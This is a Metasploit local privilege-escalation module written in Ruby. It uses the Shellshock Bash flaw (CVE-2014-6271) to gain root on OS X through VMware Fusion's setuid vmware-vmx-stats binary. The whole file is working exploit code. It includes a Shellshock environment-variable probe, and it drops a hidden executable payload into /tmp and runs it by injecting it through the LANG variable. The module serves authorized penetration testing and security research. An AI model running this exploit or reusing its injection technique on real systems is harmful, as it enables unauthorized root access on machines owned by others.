##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',
        'Description' => %q{
          This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
          handles external environment variables. This module targets the VMWare Fusion
          application, allowing an unprivileged local user to get root access.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Stephane Chazelas', # discovered the bash bug
          'juken', # discovered the VMWare priv esc
          'joev', # msf module
          'mubix' # vmware-vmx-stats
        ],
        'References' => [
          [ 'CVE', '2014-6271' ],
          [ 'CWE', '94' ],
          [ 'OSVDB', '112004' ],
          [ 'EDB', '34765' ]
        ],
        'Platform' => 'osx',
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [
          [
            'Mac OS X 10.9 Mavericks x64 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X64
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-09-24',
        'Notes' => {
          'AKA' => ['Shellshock'],
          'Stability' => UNKNOWN_STABILITY,
          'Reliability' => UNKNOWN_RELIABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options [
      OptString.new('VMWARE_PATH', [true, 'The path to VMware.app', '/Applications/VMware Fusion.app']),
    ]
    register_advanced_options [
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
    register_file_for_cleanup path
  end

  def check
    check_str = Rex::Text.rand_text_alphanumeric(5)
    # ensure they are vulnerable to bash env variable bug
    if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
       cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/

      CheckCode::Vulnerable('Target is vulnerable to bash environment variable injection and VMware is present')
    else
      CheckCode::Safe('Target is not vulnerable to bash env injection or VMware not found')
    end
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    if check != CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    payload_file = "#{base_dir}/.#{Rex::Text.rand_text_alpha_lower(8..12)}"
    exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    upload payload_file, exe
    cmd_exec "chmod +x #{payload_file}"

    print_status 'Running VMWare services...'
    path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
    cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
  end
end
